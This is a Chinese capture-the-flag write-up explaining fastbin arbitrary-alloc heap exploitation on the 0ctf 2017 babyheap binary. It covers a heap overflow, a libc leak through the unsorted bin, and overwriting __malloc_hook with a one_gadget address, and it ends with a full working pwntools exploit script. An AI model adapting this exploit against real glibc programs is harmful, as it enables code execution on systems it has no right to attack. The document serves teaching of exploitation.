Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap
本文为看雪论坛精华文章
Alloc to Stack在将chunk分配到栈上时需要栈上对应位置有合法的size,这样才能将堆内存分配到栈中,从而控制栈中的任意内存地址。而Arbitrary Alloc和Alloc to Stack基本上完全相同,但是控制的内存地址不再仅仅局限于栈,而是任意的内存地址,比如说bss、heap、data、stack等等。
0ctf_2017_babyheap
实验环境:
OS:Ubuntu16.04 x64
libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)
Step 1 • 运行查看
Step 2 • 查看文件类型和保护机制
64位程序 保护全开
$ file 0ctf2017babyheap
0ctf2017babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ checksec --file=0ctf2017babyheap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 0ctf2017babyheap
Step 3 • IDA反编译分析
a. main
为方便理解,根据菜单函数把switch里面的函数改名,然后根据函数内容及函数功能将相应的函数和变量改名:
b. main->initial
初始化,返回结构体初始地址:
c. main->Allocate
struct baby{
__int64 flag;
__int64 size;
char *content;
}
d. main->Fill
e. main->Fill->read_content
这个size可以随意大,存在堆溢出漏洞。
f. main->Free
g. main->Dump
h. main->Dump->write_content
i. 小结
输入菜单选项;
Allocate和Fill需要输入size; Fill输入baby chunk的内容。
Step 4 • 调试分析
a. 模板和选项函数
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (base, system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './0ctf2017babyheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
def dbg():
gdb.attach(p)
pause()
def allocate(size):
ru('Command: ')
sl('1')
ru('Size: ')
sl(str(size))
def fill(idx, size, content):
ru('Command: ')
sl('2')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
ru('Content: ')
s(content)
def free(idx):
ru('Command: ')
sl('3')
ru('Index: ')
sl(str(idx))
def dump(idx):
ru('Command: ')
sl('4')
ru('Index: ')
sl(str(idx))
p.interactive()
b. leak libc
完整的过程如下gif所示,每个步骤的变化都通过颜色改变来体现。
(1)malloc 4个fastbin的chunk、1个smallbin的chunk,然后依次free babychunk2和babychunk1。
于是,fastbin中变为了fastbin[0] -> babychunk1 -> babychunk2 <- 0x0,而babys结构体数组中baby1和baby2的flag和size都被置为0,content指针也被置为NULL。
64位程序fastbin的chunk大小为0x20-0x80
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80) # small bin
free(2)
free(1)
dbg()
(2)分别往babychunk0和babychunk3填充数据。
对于babychunk0,首先填充完它自己的user data部分,然后填充babychunk1使得babychunk1的fd指针的最后一字节变成0x80,也就是使得babychunk4取代babychunk2在fastbin里的位置。
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
dbg()
(3)将之前置为空的两个baby结构体baby1和baby2重新填充数据,并分配两个0x10大小的babychunk。
baby1的content指针指向babychunk1; 由于此时在fastbin中babychunk1后的是babychunk4,同时babychunk4的size也被修改为了0x10,所以baby2的content指针指向babychunk4。
allocate(0x10)
allocate(0x10)
dbg()
(4)溢出填充babychunk3,将babychunk4的size覆盖回0x90。
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
dbg()
(5)分配一个新的0x90大小的babychunk5,目的是为了防止紧接着free的babychunk4和top chunk合并。然后free babychunk4使得babychun4进入unsortedbin,此时babychunk4的fd和bk都指向(main_arena+88)。
allocate(0x80)
free(4)
dbg()
(6)利用dump选项泄漏babychunk4的fd(main_arena+88),计算libc基址。
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
dump(2)
ru('Content: \n')
unsortedbin_addr = u64(r(8))
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
leak('main arena addr', main_arena)
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
leak('libc base addr', libc_base)
dbg()
以前遇到要查看距离libc基址偏移的情况,我是和看雪-mb_uvhwamsn-babyheap一样用IDA去查看,但是从看雪-yichen115-babyheap看到一个计算main_arena距离libc偏移的工具:https://github.com/bash-c/main_arena_offset。
c. Fasten attack - arbitrary alloc
接下来是想办法将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data里,从而可以通过Fill选项将其修改为rop链的地址。
(1)首先查看__malloc_hook附近的情况。
如文章开头所说,arbitrary alloc需要在要分配chunk的地方提前有合适的size,因为从fastbin里malloc一个chunk的时候会检查这个chunk的size是否符合大小要求。可以看到__malloc_hook附近有一些0x7f,如果能够通过错位让0x7f变成 size 的话就能通过检查,对应的user data大小为0x60。
根据chunk的size计算其在fastbin数组中index的宏如下所示:
#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) 那么,64位程序:0x7f/16-2=5。所以0x7f对应的fastbin单链表要求的size为0x70,user data部分的size为0x60。
(2)在fastbin中准备一个0x70大小的chunk,以修改其fd。
allocate(0x60)会重新启动baby4,并malloc一个0x70大小的chunk。malloc的时候会将unsortedbin里0x90大小的chunk分为两部分:0x70和0x20,然后将0x70大小的chunk分配给baby4的content指针。
free(4)又会清空baby4并free刚刚malloc的0x70大小的chunk,但是由于0x70是fastbin的大小范围内,所以此时是将其放到fastbin中去了。
allocate(0x60)
free(4)
dbg()
此时各个部分的情况如下图所示:
(3)确定要在__malloc_hook附近分配的chunk的地址:&main_arena-0x2b-0x8。
(4)由于此时baby2的content指针还指向babychunk4(这个地址也是分割free之后放在fastbin里的chunk的地址),因此通过Fill(2)可往这个0x70大小的chunk的fd填充&main_arena-0x2b-0x8。然后再进行两次allocate(0x60),就可以将chunk分配到我们想要的&main_arena-0x2b-0x8。
fake_chunk_addr = main_arena - 0x2b
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60)
allocate(0x60)
dbg()
(5)利用one_gadget工具找一个rop链。
一段时间没用one_gadget,发现报错:( ,undefined method 'unpack1' ,解决方法:https://bbs.pediy.com/thread-265011.htm
另:用ruby-install 安装ruby2.6时,总是报错,然后我用proxychains4走主机的代理进行安装,可还是报错,但是此时已经下载了相关文件,接着不走代理重新执行一遍安装命令就安装成功了。
(6)将__malloc_hook修改为rop链,并触发__malloc_hook函数。
one_gadget的地址需要一个一个试一下,当前环境是第二个地址成功了。
one_gadget_addr = libc_base + 0x4527a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
allocate(0x100)
Step 5 • 完整Exp
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (base, system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './0ctf2017babyheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
def dbg():
gdb.attach(p)
pause()
def allocate(size):
ru('Command: ')
sl('1')
ru('Size: ')
sl(str(size))
def fill(idx, size, content):
ru('Command: ')
sl('2')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
ru('Content: ')
s(content)
def free(idx):
ru('Command: ')
sl('3')
ru('Index: ')
sl(str(idx))
def dump(idx):
ru('Command: ')
sl('4')
ru('Index: ')
sl(str(idx))
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80) # small bin
free(2)
free(1)
#dbg()
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
#dbg()
allocate(0x10)
allocate(0x10)
#dbg()
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
#dbg()
allocate(0x80)
free(4)
#dbg()
dump(2)
ru('Content: \n')
unsortedbin_addr = u64(r(8))
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
leak('main arena addr', main_arena)
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
leak('libc base addr', libc_base)
#dbg()
allocate(0x60)
free(4)
#dbg()
fake_chunk_addr = main_arena - 0x2b -0x8
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60)
#dbg()
allocate(0x60)
#dbg()
one_gadget_addr = libc_base + 0x4527a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
allocate(0x100)
p.interactive()
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
*本文由看雪论坛 直木 原创,转载请注明来自看雪社区
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!